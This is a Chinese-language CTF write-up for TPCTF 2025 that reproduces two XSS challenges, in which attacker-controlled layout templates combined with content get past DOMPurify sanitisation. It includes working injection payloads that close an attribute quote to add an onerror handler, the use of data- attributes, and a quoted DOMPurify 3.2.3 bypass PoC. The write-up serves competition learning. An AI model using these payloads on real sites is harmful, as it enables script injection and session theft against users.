目录

  1. 1. 前言
  2. 2. baby layout(复现)
  3. 3. safe layout(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

TPCTF 2025

2025/3/8 CTF线上赛 XSS
  |     |   总文章阅读量:

前言

被 xss 单防了qaq

参考:

https://blog.xmcve.com/2025/03/11/TPCTF2025-Writeup/#title-17


baby layout(复现)

xss题

/api/post 的过滤点

const sanitizedContent = DOMPurify.sanitize(content);
const body = layout.replace(/\{\{content\}\}/g, () => sanitizedContent);

DOMPurify 版本 3.2.4

使用DOMPurify.sanitize对输入的content进行XSS过滤,将过滤后的内容插入 layout 的{{content}}

3.2.4之前的版本有直接xss的poc:

https://security.snyk.io/vuln/SNYK-JS-DOMPURIFY-8722251

https://ensy.zip/posts/dompurify-323-bypass/

DOMPurify.sanitize(
  `<math><foo-test><mi><li><table><foo-test><li></li></foo-test><a>
      <style>
        <! \${
      </style>
      }
      <foo-b id="><img src onerror='alert(1)'>">hmm...</foo-b>
    </a></table></li></mi></foo-test></math>
  `,
  {
    SAFE_FOR_TEMPLATES: true,
    CUSTOM_ELEMENT_HANDLING: {
      tagNameCheck: /^foo-/,
    },
  }
);

明显用不了

还有别的参考漏洞文章:

https://www.anquanke.com/post/id/219089

https://xz.aliyun.com/news/6017

/api/layout:

const sanitizedLayout = DOMPurify.sanitize(layout);

同样是过滤了,思路应该是构造模板和内容拼接实现 xss

上面这几篇文章的一个共同点是都用到了下面这个语句进行 xss,即 DOMPurify 允许 img 标签,不过3.2.4版本不能直接打这个payload:

<img src onerror="alert(1)">

在模板里插入的 content 会被解析为一个字符串,猜测可以利用这一点进行闭合

即当我们的 layout 如下时:

<img src={{content}}>

我们填入的content都会被当成字符串

<img src="11111">

此时我们尝试闭合前面的引号

" onerror="alert(1);

那么就会变成

<img src="" onerror="alert(1);">

image-20250312105435736

成功 xss,接下来直接fetch带外即可


safe layout(复现)

diff 一下发现只多了个 ALLOWED_ATTR 参数

image-20250312110129043

找到这篇文章:https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#dangerous-allow-lists

即使不允许所有属性,只要 ALLOW_DATA_ATTRALLOW_ARIA_ATTR 未设置为 false,data-aria- 属性仍然被允许

那么layout:

<img data-a="{{content}}">

content:

" src=x onerror="alert(1);